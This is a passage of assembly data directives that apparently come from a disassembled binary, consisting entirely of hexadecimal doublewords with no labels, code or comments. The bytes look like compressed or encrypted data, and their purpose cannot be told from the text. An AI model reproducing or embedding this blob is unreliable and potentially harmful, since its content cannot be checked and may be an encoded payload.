1B96020h, 0BB784B52h, 8C2FE61Ch, 1FF79440h dd 5CD688C7h, 0A800738Bh, 0AA5C9C26h, 56000A24h, 7D5B6F34h dd 2A82ECh, 3BC25AD5h, 6DE487B1h, 0B6069200h, 71FEE515h dd 0FFD10068h, 0CBA361Ah, 0D6008ADCh, 93D459B4h, 60B01291h dd 8E606883h, 2B07FE23h, 9515D96Fh, 0F7BDAB30h, 2FB40C18h dd 1E285E3Ah, 15B7339h, 86677A17h, 9A606531h, 0E10C00A5h dd 0C3AF8F79h, 0DEFC6256h, 83F25772h, 9ABD7F17h, 0AFE8CC00h dd 7901AA5h, 63E35C9Dh, 9BC1067h, 4F5CFE9Ch, 1B0070D8h dd 0F580E2AEh, 37FD51Ah, 0B1138A3Ah, 5ECFC251h, 2148B060h dd 0D0284F29h, 67008F1Eh, 0E6B34C99h, 0F2CE614Bh, 7C6838CCh dd 0F3F74FCh, 3683650Bh, 5720ADCFh, 25BA673Ch, 27B6E401h dd 14D0E2Dh, 0A5229880h, 8895EE57h, 3D895400h, 4FF0DACCh dd 0A9730063h, 0ECF35D4Bh, 497D879Ah, 4A537C00h, 6FA0033Ch dd 7B0119F8h, 0D0836843h, 180051D7h, 3C25A7D4h, 7CC99A6Dh dd 6970FBh, 5C4C0409h, 713F17D8h, 0DFCD4B00h, 2CE1EB90h dd 793800BCh, 69ECD392h, 8216289Eh, 2A00B6BBh, 0CF6A5CD0h dd 57B3F6Eh, 0B5C29C80h, 0D879948Dh, 0D5A38B00h, 18160C93h dd 7A09002Fh, 7C3AE677h, 0E10C5F42h, 0E2F9943Fh, 768C0068h dd 0D9CC7F4h, 0B90EAFBEh, 6A1119F2h, 0D70088B5h, 0D5D43D70h dd 0CF10D4B4h, 37047301h, 207EFF14h, 0F400240Ch, 9ABF3120h dd 58CDE03h, 66F111D8h, 6FBC82BAh, 98623760h, 0F8F8322Fh dd 1D06001Dh, 0AF26DE88h, 8B00A652h, 0FF551C21h, 80AAB9h dd 0C4D54392h, 52E06653h, 464EA71Fh, 0E889C600h, 506C32DCh dd 0FF0D671h, 54C19209h, 894BABE0h, 0CC5C0183h, 0A230069h dd 12131F24h, 74D83092h, 0CECDA7B0h, 70252E3Fh, 70C1D4E9h dd 8421A600h, 0F4425E0Ch, 1E7318h, 0D3E99243h, 87B901DDh dd 0DE648300h, 9DC73321h, 1FA67418h, 23DBBEh, 0F7A95F6Bh dd 0FD0719F8h, 3D821657h, 69C5DF60h, 787D00A7h, 9726CDCBh dd 2100ADEBh, 0C61A07C2h, 3C8969Eh, 0D5693655h, 0F9900999h dd 45003A32h dd 654E9C1Dh, 7E9CF3Eh, 1C485979h, 25978022h, 0B0156ADh dd 0A5754DB7h, 2F603FD9h, 0B8090077h, 8BDC42EAh, 817B947Fh dd 5A50B300h, 66652306h, 0F6C609A5h, 60A022D0h, 0D1B843B1h dd 0EDCC5F00h, 4FDAB563h, 294712D9h, 0C99F0012h, 38A8C445h dd 80720C3Dh, 1828B2F3h, 2A58151h, 12D26B83h, 14404694h dd 0FF0065CBh, 20E81F61h, 0FC8E5B25h, 0F9410028h, 0C85EB4A5h dd 0FE0054C0h, 2C87E1B1h, 58B9BC7Ah, 720164E0h, 0D88B86A6h dd 3AD88E4Ah, 7E1A0096h, 1DAF821Bh, 8039CD83h, 68257B29h dd 891F6CACh, 9840F521h, 62D154A4h, 16390030h, 0B409B966h dd 0BB00DB7Dh, 0ECF2E20Fh, 5EFAEBh, 0DFD92BE9h, 8B435269h dd 0B66E0B0Eh, 560E0099h, 329438h, 0CFE96B23h, 0E33C37C4h dd 30612700h, 5FFC702h, 216514A2h, 0D300E6EFh, 0EB1E78Ah dd 0C490FD43h, 830C9700h, 83766DDh, 33CE273Fh, 0D8DE0A41h dd 0EE39CC21h, 839B000Fh, 0C707011Ah, 467166h, 0E7BEF4D4h dd 7E240974h, 8B5BD00h, 5BD90FC0h, 55E200F9h, 20AB8BA5h dd 0E3003350h, 0B39AADBCh, 0B8D5951Ch, 3FDA3F7Ch, 0C741B700h dd 0CC434615h, 2DBA6F00h, 0D9625A77h, 0A55E004Bh, 12EF57EDh dd 0B6FAB055h, 0F5EA3700h, 0B2D53F01h, 0CEA3000Ch, 2BCB3D6Bh dd 281E807Dh, 0BF00C224h, 40077B09h, 0FE3201D7h, 2A65EFB5h dd 4FB8F479h, 93D1C301h, 0BE8F9924h, 5EE4F461h, 52DE00AEh dd 0ECC0FD8Bh, 940BFB2Bh, 17EE5Bh, 79B9A544h, 7D74AEh dd 7820994Dh, 4AA74E71h, 9F3D1E90h, 29386Eh, 61FA1D74h dd 0E858ECA6h, 83E100BBh, 81E7A746h, 0E900555Ch, 3C2C4EFBh dd 315185h, 0B70322Fh, 0ED773407h, 6AE00300h, 0F4E7121Ch dd 0FC8A76ACh, 0CE1403A4h, 2E52B41Ah, 208D1003h, 0E0987D63h dd 1F380A4Bh, 9DBDA1h, 80230721h, 85007E2Dh, 0A58FD578h dd 0E5F4A079h, 0C1092180h, 6B7DBFCDh, 22002DE4h, 1071694Ch dd 3CD9A0D3h, 218001A7h, 0AED1D4E2h, 0D51EA2B3h, 0CAC08A1Ch dd 56CD2A77h, 0A878008Bh, 197D349Eh, 2218FC6Eh, 98A12D81h dd 600BF814h, 13C8B8C6h, 0D800280Eh, 95DE7819h, 61772BD6h dd 989B4165h, 7088A0D9h, 9DB9A600h, 0B51B2616h, 0A2574E2h dd 0FC0214B1h, 2E4D8774h, 0D579807Eh, 333EB0EFh, 0D8F10E69h dd 4523E0C6h, 742B8A26h, 0B1BC0196h, 8535AD57h, 0A93EF838h dd 2F127800h, 0A53C8E68h, 28397CA2h, 3ECD1E94h, 5100A0DBh dd 0ACE05993h, 38C45461h, 386A957h, 568E00A8h, 0C5C01EBEh dd 0AA00A0DAh, 9639C679h, 36CD07A6h, 404820F0h, 17CE420h dd 0AD143406h, 0E0338EDCh, 0B060D67Ah, 7B1A8D29h, 0BE1C38Ch dd 3D98D0F0h, 0FB33F896h, 1EC218A1h, 30AC0709h, 0F03CE089h dd 4D5080FFh, 0B99C8EB4h, 9470C06Dh, 0F17D35CEh, 719A9F1Dh dd 0E2032028h, 0A863340Dh, 0BC5F8D19h, 5D884680h, 0F17F5ACh dd 9FBE6A8Eh, 297D809Fh, 0B1FDF808h, 6060D0h, 0EB2D184Fh dd 390EF9B7h, 680FAD02h, 0A6C03070h, 0B14E6A0Ah, 0FA1E1003h dd 80813D06h, 5DCAD0h, 2204A530h, 2A4F5EDFh, 0B5934600h dd 3D6F03CBh, 0A6441761h, 11D84h, 0FF87C049h, 940183A7h dd 50AD8FD9h, 4AD8E568h, 5198A2h, 9D10175h, 4E47B06Dh dd 3C00D2FCh, 57C6192Ah, 161E8EAh, 0D8109872h, 0F059A81Ah dd 0DA0A4234h, 8C11F9AEh, 2B704D80h, 939AA4h, 1EAA6A3Dh dd 0A3781A7Eh, 0DD09CA8h, 225CCB03h, 0A081527Dh, 0C35A0E56h dd 14AE1A40h, 40A8EADFh, 1DE264F1h, 331F267Ah, 0FD41742Dh dd 8C6D951Ah, 5E29508Ch, 1BDA408h, 0CAE1F66Bh, 0B551FC0h dd 2FE24C24h, 4B22EE80h, 0A0CE773h, 50D69EBBh, 1A1600B2h dd 0FAB0AA10h, 49118539h, 0F005B2Ah, 946E44E5h, 8F1D575Fh dd 0DD0FA243h, 0CE118020h, 2497B4DCh, 1E76E9Dh, 0F02E5659h dd 28E9B89Ah, 57909E14h, 0A3F3A605h, 9420F89Ch, 0EC9FEDE2h dd 3CC40F8Bh, 0FA04FB3h, 6A2951D4h, 248181C0h, 0D55942h dd 0CEF302CBh, 84FCA3F2h, 454E8600h, 0B13B5549h, 666B01E2h dd 0F06F0CB7h, 173C20F8h, 3AAD1E3Ah, 5400FC07h, 7E92A731h dd 150CF9Eh, 0FCF2C6B6h, 0A11CE03Dh, 4D500411h, 51023E54h dd 292DD703h, 0CAB8322Bh, 0B039094h, 3AF074DBh, 0E7B0CF89h dd 17DFAAA9h, 785D5B7h, 7065F673h, 7CB993Ah, 98B6DC0Fh dd 1CBF46Ah, 8D8AAA04h, 0C970D3C8h, 6F9857h, 15A261EFh dd 8C554D16h, 0ACEC5000h, 0C978D404h, 56421263h, 0DCC200CEh dd 128EABB2h, 0A78B8F00h, 0F194C6B7h, 2840765h, 0D7C0E5h dd 298252F9h, 0E9019E79h, 0C3C4573Dh, 4EE0F37Bh, 393E00B0h dd 0E7A8285Fh, 7F0E4692h, 1F63B28Ah, 3486545h, 21EF40C0h dd 8629001Dh, 1A95B31h, 0AA005D37h, 54C9BBFEh, 3F478142h dd 6E939002h, 7490330h, 0C5A04DD4h, 0A4E49FE4h, 52386C03h dd 0D84BFAC0h, 789A1Fh, 9984AF91h, 3537E658h, 0ED0E3B00h dd 0DA6157F1h, 11E00B8h, 0AAFE8CD5h, 33003DA1h, 0E82313FAh dd 3FB0AE8Fh, 7AC5D9Fh, 0E3AF07C1h, 91CFD0A6h, 59B8B406h dd 6B882660h, 1B5C18Ch, 95215390h, 40C4BFA7h, 35CF7EF0h dd 76F52F09h, 77508047h, 0EEE9CE2h, 0B52AF156h, 95AF922Fh dd 3C20270Eh, 0ECBBD79Eh, 1C376401h, 0EECDE85Fh, 0E7D0D440h dd 0B0B800E4h, 6831A098h, 2D00F83Ch, 6E653803h, 32707B3h dd 7B98DB87h, 0DD9844A7h, 6030E5B0h, 0B3D7988Ah, 0B8580C6h dd 0FF729A1Dh, 6719B00h, 4C796E0Dh, 2800ACF7h, 0A8491101h dd 6A3F5A2Ah, 700B8E45h, 750E876Fh, 7CCD3811h, 1792020h dd 846C460Fh, 30E5FAF3h, 0B3008E24h, 771EECEFh, 3066BFE1h dd 0E426A486h, 0DE908FC3h, 87744B1Ch, 9BDF9240h, 0A4647Dh dd 1460E7A6h, 0E382EC68h, 9D3F1803h, 0F0FE2399h, 759EBA5h dd 0F46487B1h, 0CD182073h, 0F00110A9h, 0F22694BEh, 66F8BF7Fh dd 0E8C56581h, 9A5C4034h, 9C21F96Ch, 3098900h, 0A05A7601h dd 7115143Dh, 0D400B866h, 0F6DDCCEDh, 0E8E8E542h, 0F44EE100h dd 72043986h, 1DBB0094h, 3D1A756Ah, 19747420h, 44CC4900h dd 1D68C53h, 31601E0Ch, 0F1CF430Eh, 7D88DA8Bh, 7B30B5A1h dd 0FFAF781Dh, 0AA5F0025h, 0DC909968h, 60F3FCD3h, 2D00AC9Ah dd 9BA51285h, 0E98CCF23h, 42C50ECh, 0F0945EAh, 4220C3F5h dd 4446A3F0h, 1FFDB8C7h, 0E5C45390h, 60B97DB4h, 0F44AF90Ch dd 920C6227h, 0E9A7032Fh, 0C5EF00D2h, 0E07D870Fh, 10713A44h dd 4C45B303h, 0C0B2C33Bh, 8947C8h, 276874FEh, 96418C22h dd 45995A07h, 0B12017A6h, 0EC9BF2C4h, 21BB009Eh, 7F912216h dd 0BF002419h, 0C4662E90h, 45D280h, 0C028A7D6h, 3E683935h dd 9B81F300h, 73D48FFDh, 11EA0008h, 0FA195CFCh, 4F01221Fh dd 36B620F6h, 7180F275h, 0C0CED88Dh, 0D67122C6h, 0AF2CCD28h dd 11AEBE00h, 51EED2F3h, 10F70080h, 0C409694Dh, 3700B8FCh dd 4927B96h, 7FC2674Eh, 0F6B0B9h, 87E82F3Ah, 66962179h dd 72A1C91Ch, 5300FC1Dh, 70FF5D20h, 0B67B00BDh, 0D6D0C2AAh dd 30C0F482h, 0FAE265ADh, 76490025h, 3528869Ch, 7C3C3355h dd 4D538092h, 5C4AD8B0h, 29F70F1Dh, 0D360D63Dh, 0B73FA858h dd 77031006h, 5073A2h, 39E0A15Fh, 0BD9278EBh, 107AAD00h dd 0E67ED646h, 491700DAh, 0F3E3D42Ch, 23004FEDh, 0E8749212h dd 0A6AA41h, 0CFB084A7h, 13106508h, 156C0E00h, 1295A319h dd 71D6266Ah, 0B7930334h dd 1898D0E6h, 72EE2CC9h, 0CC5E4A05h, 0D40FD3ECh, 58A900A4h dd 986FF0h, 42E5CAF5h, 662417Ch, 473D9914h, 52800D8h, 0ED24D22Ch dd 6622004Eh, 82408B5Ch, 43149C39h, 0E2AFA4h, 0A1A21604h dd 1A7AC6Ch, 74B187A8h, 0E554D517h, 62662098h, 8AFF5100h dd 769B5C95h, 1C700E2h, 0AA7BC881h, 0B000B4E9h, 0B162B97Fh dd 8B90D5h, 5EFD13C0h, 0F146111h, 0D5C4502h, 418178BAh dd 0EC70C938h, 98CD241Bh, 91BB00D2h, 9D42081Fh, 8F437114h dd 0D3A90084h, 0B640A8A0h, 81E000B9h, 282DC277h, 0E95C7366h dd 0C6D100F4h, 0CEEC1D69h, 9F5C1FF5h, 6CD5C095h, 0FAD44A6h dd 0BE039707h, 0F7A92EB5h, 8B218000h, 0A004C54Dh, 1A08C437h dd 830B0B80h, 860E3E63h, 603ADB00h, 39196F76h, 4559F000h dd 4D70DE89h, 5EF400E6h, 98EC69BBh, 0AF00A5B0h, 0A24AB7EEh dd 26EB2393h, 9EE330h, 0C6C8A0F2h, 5FF0C4E7h, 0BA155B00h dd 0D1834DACh, 617A0358h, 41D3B532h, 3CBE580Eh, 29216020h dd 487FE2h, 10A84488h, 9769D3Dh, 2CC7D00h, 25370FD7h, 11050098h dd 0DA3BAC88h, 7507A933h, 0A404E643h, 4A803A45h, 83907h dd 0A1E36023h, 217A444Ch, 3628D900h, 0DF1E8CA2h, 7EEE0042h dd 9F32299Ah, 0C5001C87h, 0CB51CD90h, 3854D0ABh, 37807438h dd 0F0E453A5h, 9AF24723h, 33268400h, 0B1EA315Bh, 0ADEF1E90h dd 7B280001h, 0F8D9AABAh, 350C2B00h, 1026A965h, 37E56h dd 34876E1Ah, 2D886DE3h, 528ADF0Dh, 0C2EC213Eh, 3307825h dd 185ADA51h, 0D8009C11h, 9E491BF5h, 78B6C74Eh, 15400A7h dd 5ADF0ED8h, 16FC92D5h, 42EBEE1Dh, 7E1398E4h, 6513D600h dd 0F9EA50h, 0FEE74B64h, 4AD4F6Bh, 0AF59620Fh, 0BA5A8006h dd 5EF509h, 5DFA0CB5h, 67EF13C4h, 617C000h, 7018C96Fh dd 0B88F3826h, 60129718h, 0C000C8D2h, 0FA2A5995h, 7F1F81Bh dd 0C7B51826h, 0B0A2C996h, 1880BD01h, 2EA2E194h, 23088F67h dd 9505B647h, 1BE2848h, 5B6AFA1Ah, 8EF6D022h, 96BFA30Ch dd 1D03185Dh, 802A1298h, 0D558F1E8h, 0C150C6D7h, 0E07C1938h dd 0DA436400h, 28A2E990h, 54BB708Fh, 819B349Ah, 50590602h dd 2A57E753h, 0F3A0D7C2h, 0F030C346h, 0F69D005Dh, 0B5C5BEE9h dd 2300D53Fh, 7B6F878Ch, 5C9B48DAh, 0D4392F7Eh, 30DCF800h dd 66E4E060h, 0FE3B1300h, 730841BBh, 90F7F1Ch, 0B3F4F17h dd 3489BD80h, 4A1F8D09h, 0C801A2Fh, 9B044146h, 37D6001Eh dd 6A89F487h, 7700E09Dh, 0E608A434h, 74F5A943h, 0D6AB0056h dd 0F6652BDFh, 1900D713h, 6E3F6836h, 0D3E6FCh, 0F2A743B5h dd 895C0764h, 9AFBEB0Eh, 2AE4E0A0h, 1E82B3h, 465A5E3Eh dd 37C08D9Fh, 306E338h, 84FFF7F0h, 0C892A0D5h, 6C1F004Dh dd 0AF0AE634h, 9A00022Bh, 30701762h, 898FDDh, 450C5E87h dd 3C96BA29h, 792C460Ah, 0F284A8D6h, 7C098EBh, 3382F9C2h dd 0EC08D253h, 0E4182100h, 0BE893D98h, 0B21E0036h, 75149CB7h dd 9600B9FBh, 7ED5DF6Eh, 1B38CE1h, 9D4C918Eh, 9B288D14h dd 2349D270h, 0DD012678h, 0D25B6998h, 1288EA18h, 749800D5h dd 507A9F3Bh, 3A0F8B5Dh, 0B30DB69Bh, 6013940Dh, 0A46A5840h dd 0DD3103DBh, 36A3D166h, 400428B6h, 0D92E2581h, 6BF61890h dd 5EE91D95h, 5711865Dh, 0F1600855h, 95531921h, 854E3E73h dd 77D59003h, 0F0D7151Eh, 3506935Eh, 1A3658C0h, 623FE7ACh dd 8D167081h, 0BEC16100h, 0F430142h, 33E8F839h, 931EC810h dd 0B4B6B503h, 98EC3B14h, 51BAB2h, 0B834E6BBh, 0FD5BD415h dd 6BF98400h, 0C09F7357h, 0B52700A6h, 2E09FE68h, 670107BAh dd 0D26ACCB6h, 7DD06459h, 0C0835F21h, 0A075EBF2h, 9DE3B51Bh dd 121F608h, 633F8FA8h, 0D0A43009h, 2330C2E5h, 55A9943Ah dd 3E37E68h, 83FE7DD2h, 39006F58h, 54D5BE2h, 0A53AA7h dd 6C3FBA62h, 4378B144h, 36023400h, 75CEB661h, 0C321007Ch dd 0E7F7DDEFh, 58D89EB2h, 5C846349h, 65371C7Ch, 0B3D85711h dd 2A0E3BCh, 0C03AEB67h, 21523015h, 62CFA5h, 7936131Eh dd 0D839E4D3h, 5EA08560h, 0C19B4F16h, 0B4326360h, 0F619846Ch dd 0DD00AC8Ah, 16FFBA54h, 118029DBh, 1F8AAA20h, 37405A3Ch dd 0AD2F1D8Eh, 0A1C600AEh, 5631CC14h, 4003DEAh, 0E3747C22h dd 32E8D58h, 0B6751A20h, 0C3C0701Bh, 0EAEAD2DFh, 32CA2A07h dd 710084A8h, 6CAA97h, 9B48029h, 4C5E2DDEh, 19127200h dd 9034C3DCh, 1C76CBh, 0E07C760Fh, 1B06F965h, 61FA1E00h dd 0BE773CEAh, 0BCE291h, 0F501920Eh, 0CD09AE4Fh, 759A13Fh dd 0DE02756Dh, 0E0790BC3h, 0EDA6CAh, 5EF3DD3Dh, 415BE814h dd 26B0C64Ah, 3195034Bh, 0B65780A6h, 0E0EEA790h, 7D001498h dd 6725C97Ch, 0F902F66h, 10E6D8CAh, 80C3B2C7h, 7332E1EEh dd 0A1B07EE1h, 38DFEFh, 6869E65h, 3407D8CCh, 2EE516ECh dd 95DDCB20h, 56650F69h, 0D80FF1FFh, 55C53D80h, 66FA11A3h dd 68436B36h, 3CD70030h, 0AB4DADC6h, 0C5FEC8D3h, 632B8600h dd 0EB44AF52h, 3D03195Bh, 0FC2580F7h, 770134DDh, 0A953C08Ah dd 0E70E06Dh, 0B8DF0FD5h, 48009E27h, 0BF7AD991h, 0AE12C00h dd 80AFA42Ah, 0F0991D1Ch, 1880BF75h, 77E9ED5Eh, 961DFA01h dd 3D8E82DDh, 0F639987Fh, 0CD30049h, 0A2AFC79Fh, 18C36736h dd 0A033417Ah, 752BF8Bh, 3FE69D64h, 752F802Eh, 3203F7C8h dd 0DDF91DF4h, 3E5800AAh, 0F5BF77DEh, 2F0061A4h, 0ADDCAFEFh dd 0FA98A6h, 65DF4C21h, 5BF0AB3Eh, 0D900DA75h, 0CB4BAE5Fh dd 3E2D7CDh, 17807245h, 39B091C8h, 0FE01FBD0h, 88E433CFh dd 69869A5Dh, 0C0F2D52Dh, 8020C1E7h, 1BC48BB0h, 0CE37312h dd 0BED9DC45h, 27002E18h, 0A93C9728h, 0E4141Ch, 0D0681F5Fh dd 7BDBEDC3h, 0A510761Dh, 0F145400Ch, 857D2A3Dh, 0E5900C90h dd 9D18E3B2h, 48F4EC00h, 0E6C0B6D9h, 18D70130h, 5E6AAACFh dd 9D8CD8D1h, 0AFC8D009h, 80288F49h, 68077254h, 0C73A002Ah dd 9F3817FCh, 0D37A4A43h, 0CE0516E6h, 0CF211AAAh, 0F7C9042Bh dd 0C0AB3A07h, 0F68AB949h, 0E3E62000h, 0B2CF12E2h, 0EBFB004Bh dd 0A025F792h, 40181A83h, 0F296F14h, 0F91088E3h, 889F9188h dd 1B896EE4h, 0C203A08h, 513D60ECh, 61808214h, 0BA4FE901h dd 0DA44FF46h, 0D8F1AA43h, 94984h, 0D92BE61Ah, 0BBC796ACh dd 0B3F6CE00h, 6D7EF15h, 340F0075h, 0A253DAF1h, 6A3D3372h dd 0D4DD8032h, 68284A2Dh, 83090FC1h, 99C237F7h, 80A1B57Ch dd 0E8DB4BB6h, 5C07E8E2h, 0C7F38C28h, 134940Ch, 0B92B7B1Dh dd 20DA3BF0h, 9300A385h, 5D9C0F03h, 7181E8AAh, 0D34000A8h dd 179D139Ah, 0E4E77001h, 42061467h, 0F33F2D63h, 0C5843841h dd 9CFBA980h, 46B57003h, 1F003A7Bh, 9E785428h, 0EA6C7Fh dd 8D28637h, 82FE3196h, 83D9C800h, 99177D2Eh, 0ED5518B5h dd 0CCE9C01Bh, 0D7635707h, 2D10F3EEh, 4711D8h, 4030076Eh dd 58C23F1Fh, 0CE316400h, 364398B0h, 0F84FE229h, 1BF00A2h dd 0DF349D14h, 0A9C0EFB5h, 19CED8DBh, 0FF953C1Bh, 55536700h dd 0F28D65E8h, 34FECDFAh, 27848C00h, 0C4526F20h, 1FBA0067h dd 0D862DF2Bh, 0E8004621h, 0B69F063Fh, 0FC2A14h, 0CB52D110h dd 82AB3DA1h, 7A67B40Fh, 0FD06E07Ch, 0C0DDE1h, 7D116DA2h dd 0DEDFD22Ah, 37F64A00h, 0D4EE4836h, 52E100DCh, 70537F8Ch dd 1D0FB4A8h, 0E7E9BCA0h, 84F1D359h, 0F07F5F4Bh, 5300A6F6h dd 0AA366B5Ch, 1C23EB4Ah, 8B9407h, 7E30BA26h, 8505AE0Bh dd 2595BCB3h, 32CDA800h, 0AB6E15h, 0E8F084Fh, 0D4B1E1A7h dd 0CC34930Ch, 6EE2C4Bh, 3BAA0BD6h, 5B006C4Ch, 7664962Dh dd 0E64AB88Dh, 6FDA3A69h, 0CE047D80h, 0E2D02772h, 15AEAC13h dd 2A0E7C07h, 0E73B4780h, 0D8B893h, 84733482h, 0B7EF51FBh dd 0CB0715E6h, 83B6BFDEh, 854B6B10h, 92410027h, 0DBEF5433h dd 0CA011588h, 3E22E701h, 2CF8C04Bh, 5FEA1DB0h, 107983BBh dd 0D2D0C6F0h, 0CC00BD41h, 0EB9BB3F4h, 90D1E27h, 0BF305F9Dh dd 0F687BD00h, 0DB0F480Eh, 40ADE210h, 916C1974h, 0D9FB0069h dd 0CD2881D0h, 140166C5h, 419B5867h, 0ECC82E6Dh, 290C0013h dd 5A728FCFh, 3100988Bh, 1DE571A1h, 0E6CEE06h, 0C1FCE30h dd 29B04420h, 2A005F92h, 77871D31h, 7140407h, 5E52A8DBh dd 4A78A01Fh, 0E6074BEAh, 6DADA094h, 5CC09144h, 11557D2h dd 79132C8Eh, 0E4307FB5h, 6A77F8DCh, 854CEE00h, 0A2F90F96h dd 6FA2681h, 0B22C0046h, 0C744C6BBh, 58257E09h, 88B800A6h dd 9820BA21h, 5DF90910h, 0A0C0D9h, 788F64BDh, 3E857312h dd 0AEC0C41Ch, 33C6B5D2h, 7D89005h, 709BEECDh, 948150D9h dd 92007CA8h, 0CAE43452h, 65C69Fh, 0C52EA30Ch, 0AB40A9E5h dd 9601DE00h, 0D9080B06h, 7C430753h, 1004BB85h, 0A5E012AAh dd 4F3D9001h, 1739CBB2h, 0A0B4F4h, 0FF9C74ABh, 4919AE24h dd 5258FA1Eh, 0D45AF340h, 134E5332h, 0CC8043h, 7C8DF9F0h dd 0FB001516h, 616872A6h, 0F4B53C6h, 75B6DD44h, 0D01BAD7h dd 73CDF8CCh, 0F2AB1BD4h, 0F2C39B1h, 0ED5C1780h, 0DB3F77D2h dd 911E5D13h, 2079AC00h, 552E5Ah, 18ABB9C8h, 0FC05C219h dd 753A6D00h, 93DE3B17h, 22CB0A2h, 0E34CDB21h, 0A6E0D1F4h dd 62260811h, 0A803C80h, 332760A0h, 9E7700F4h, 98D3B683h dd 0D200794Dh, 0A55C4504h, 0F39F74h, 0EE2402B7h, 0C8F39C6h dd 0E19B0707h, 0B990188Eh, 0C320ACh, 0F56E3C80h, 0DAC1E8CEh dd 8E87EA3Bh, 40CC7407h, 3D7A7898h, 0DBE20055h, 252B0D84h dd 0C8FDE7F2h, 581285DCh, 0F400354Ah, 0C6C49C2Ah, 0E8824E3Eh dd 28950BF5h, 641C021Fh, 70F94074h, 81030059h, 6220B69Dh dd 8D00A0CAh, 0B4F3D0B5h, 3A8CB16h, 0CCD2B256h, 0B1DA1377h dd 0DA9BA43h, 0EC33E8B5h, 0BCE3FB00h, 61A71B92h, 571E3FEEh dd 25388800h, 0ECC8C521h, 63DEEA00h, 7026516Eh, 9C6F005Ah dd 4466F682h, 0C4989BD4h, 6E14FB1Eh, 1487A8CFh, 189A30CCh dd 2E04FF21h, 364CEFCh, 75824C44h, 9E717480h, 0E4012CE6h dd 6F115A3Bh, 0ACD52164h, 4A5FA8C3h, 0DBBA00FDh, 478E3782h dd 97001585h, 0D6C69272h, 83D441h, 5C2BFE18h, 0A8FAA389h dd 89FA203h, 808D219Eh, 7BAE90h, 80F9CB3Dh, 99FD186Dh dd 0D178A501h, 0E04C0E76h, 5DF5C8h, 95BEC3C0h, 0B53C8541h dd 0E71E4012h, 0A465EF07h, 8B7E93E0h, 0C0556077h, 0CE925E70h dd 44E1BC00h, 0BA360FCCh, 17272449h, 2FAF01B5h, 70E8434Bh dd 4A132434h, 0BE145CCEh, 1EA901A4h, 65937F21h, 2378F4h dd 0D687A2E9h, 0E315EFEEh, 0DE01F26h, 5F284000h, 49854B2h dd 0B770E55Ah, 0E9B09099h, 4900AD5Eh, 23D64B0Ch, 0F6F218h dd 0D54388Ah, 34E56C67h, 7C41C800h, 2861FAE8h, 80DE0F0Bh dd 0A2602B03h, 0C2164BE7h, 0C6F3602h, 78E4D90h, 2F8862C9h dd 67C8029h, 11CAD18h, 0FAF5200Ah, 30B1D136h, 0F77A274Ch dd 3870882Eh, 0F6A51501h, 48805DCEh, 0D5FE5502h, 4B00502Dh dd 0C79254BDh, 7B90DAEh, 7D30B177h, 66830041h, 0A7005B6Dh dd 72924D38h, 128A5D97h, 0C606E0h, 3AC4A300h, 54B09511h dd 395A0238h, 0BE43AC9Bh, 2E37A40Bh, 0B72C6084h, 0BB1286h dd 872634AFh, 7390F98Bh, 0AE0CF500h, 0F29C0BEFh, 10BC0036h dd 0F49B16A7h, 0EA0073EBh, 32D2AA6Eh, 4A88A90Eh, 1D780065h dd 397491F2h, 6FCA4F1Ch, 0CFDDB5C0h, 0F1217Ch, 28789995h dd 0BCE97BF6h, 0EB97A600h, 0C5C306DFh, 0D7E60041h, 1441EA4h dd 340A228Bh, 908FC2CDh, 0B2E79E3Ah, 4E981458h, 2CC700F0h dd 92131ECh, 0DE72BDF7h, 61A5B400h, 4E7CE24Dh, 0CF660079h dd 218D9CCBh, 4C5C93E0h, 807839A2h, 75375B7Ch, 0DB0B9Ah dd 0DC023F7Fh, 0DDB8566Ah, 73F0960Fh, 7771E004h, 0F8DF7C4h dd 90AE8ED8h, 0C8CD5920h, 43130455h, 3007EE9Ah, 5D90054Ah dd 0F34CF6Dh, 784EB39Ch, 0E10B1C82h, 79F077E3h, 3D005AD6h dd 0E7BB5C1Dh, 938CD7Ch, 0D56D7E0Ch, 76683010h, 0EF1A7000h dd 0F48A6A59h, 64981Bh, 0EAB7C0E0h, 0FBDBF362h, 6BC69000h dd 48549CE2h, 137000BCh, 76C07986h, 0C77A402Fh, 320B4C91h dd 38500359h, 3AD1A007h, 0CD150006h, 0C41C0B3Fh, 3000C40h dd 270191C3h, 77A9CDFh, 0BE46D826h, 992EA010h, 8E00CECBh dd 0FC0E2B8Ah, 0C9272Ch, 5F8FE958h, 0E495D247h, 70E09A01h dd 0ABCEB30Ch, 531D20h, 0D19E1B33h, 0E1497FEEh, 2120CA01h dd 68B80506h, 25A04ACCh, 7483D258h, 0F178304Eh, 0F36D990Dh dd 4AF809C7h, 6E7BEEh, 76429F12h, 0CF4C852Ch, 0B351C00h dd 919AB7F5h, 53F0188Eh, 38CE5186h, 21E69851h, 2067D7FCh dd 0CB80CF18h, 37283685h, 0C0702C5Dh, 0EEEFF9A2h, 2BB2A00Ah dd 9A010C58h, 7D998E92h, 0B5F9908Bh, 5F80F48Fh, 0DAA92C22h dd 0C2FF1807h, 0AB34A62Eh, 1C1D9CB0h, 4ACF6Ch, 0AEC91FBCh dd 21000D87h, 14EF07A1h, 3032937Bh, 1AF1F269h, 0E103E45Eh dd 96B8A8Ch, 0C226C05Ah, 0B2F14DAh, 5D37944Bh, 28311042h dd 0A2009B70h, 77DDADCh, 2479F65h, 0DD93F63Eh, 0A49325EFh dd 0E82D0AE0h, 5B8BE02Eh, 4CB69501h, 0C7E410EBh, 9A2B3EAFh dd 30F098D4h, 7C391C7Ah, 6300AD52h, 0F12AC99Fh, 2D990EFh dd 4E326128h, 20408F07h, 180098ABh, 0C0A08205h, 38B6420h dd 0A1C3A840h, 11001D58h, 4796A40Ch, 609CEDCDh, 4AA1F171h dd 7660F8B7h, 0C1BF3711h, 137C9Eh, 9B3F295Ch, 6DC08819h dd 0D1D7A1C0h, 13BD4Ch, 72D05C2Fh, 44E2077Eh, 0FB68AF09h dd 473D01ACh, 1181C9FAh, 50A26423h, 2BC400BDh, 0E5ED00A1h dd 0BB906651h, 0CE0FE123h, 0A3FA4D05h, 11705B43h, 22A06028h dd 0DBD8005Ah, 283A42BCh, 5001E9Fh, 633E7EC2h, 225DDEh dd 0D53C865Ch, 0B192767Fh, 0CE8830F5h, 5430B701h, 0B2529E04h dd 1E84FBE8h, 408F1BA7h, 0E90EA8E5h, 7500958Ah, 41C9E7EFh dd 0C6D8E8h, 0BDA2541Bh, 0C2394B20h, 8A771600h, 57D41893h dd 51E40A14h, 0FDF848Fh, 80BF477Ah, 0DC564B6Eh, 5300482Dh dd 0D0145806h, 3C4C11FAh, 8500AFD2h, 0AB696233h, 0F800E00Eh dd 6997B0Ch, 1E734580h, 804FA296h, 0D58323ADh, 